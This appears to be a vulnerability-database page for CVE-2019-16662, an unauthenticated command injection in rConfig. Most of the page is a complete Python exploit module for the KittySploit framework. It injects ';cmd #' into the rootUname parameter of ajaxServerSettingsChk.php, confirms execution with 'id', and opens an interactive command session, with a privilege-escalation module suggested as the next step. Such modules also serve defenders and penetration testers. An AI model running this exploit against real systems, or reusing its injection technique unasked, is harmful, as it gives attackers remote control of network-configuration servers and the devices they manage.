rConfig - ajaxServerSettingsChk.php RCE (CVE-2019-16662)
| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
| rConfig 3.9.2 - Remote Code Execution Exploit | 29 Oct 201900:00 | – | zdt | |
| rConfig - install Command Execution Exploit | 9 Nov 201900:00 | – | zdt | |
| Exploit for OS Command Injection in Rconfig | 10 Nov 201918:28 | – | githubexploit | |
| Exploit for OS Command Injection in Rconfig | 10 Nov 201918:26 | – | githubexploit | |
| Exploit for CVE-2019-19268 | 25 Nov 201911:14 | – | githubexploit | |
| CVE-2019-16662 | 28 Oct 201900:00 | – | attackerkb | |
| CVE-2019-16662 | 3 Nov 201912:10 | – | circl | |
| rConfig Remote Code Execution (CVE-2019-16662; CVE-2019-16663) | 5 Nov 201900:00 | – | checkpoint_advisories | |
| CVE-2019-16662 | 28 Oct 201911:52 | – | cve | |
| CVE-2019-16662 | 28 Oct 201911:52 | – | cvelist |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""rConfig ajaxServerSettingsChk.php unauthenticated RCE (CVE-2019-16662) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'rConfig - ajaxServerSettingsChk.php RCE (CVE-2019-16662)',
'description': (
'Exploits CVE-2019-16662 by injecting OS commands into rootUname of '
'/install/lib/ajaxHandlers/ajaxServerSettingsChk.php. Opens an interactive '
'execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-16662'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/',
'https://nvd.nist.gov/vuln/detail/CVE-2019-16662',
],
'tags': ['rconfig', 'rce', 'cmdi', 'unauth', 'cve-2019-16662'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2019_16662_detect',
],
},
},
}
base_path = OptString('', 'Optional rConfig base path', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return ''
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def execute(self, cmd: str) -> str:
# ;cmd #
payload = ';' + str(cmd) + ' #'
path = (
f'{self._prefix()}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php'
f'?rootUname={quote(payload, safe="")}'
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2019-16662 confirmed: id via ajaxServerSettingsChk.php',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'No command output observed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 210
EPSS0.97702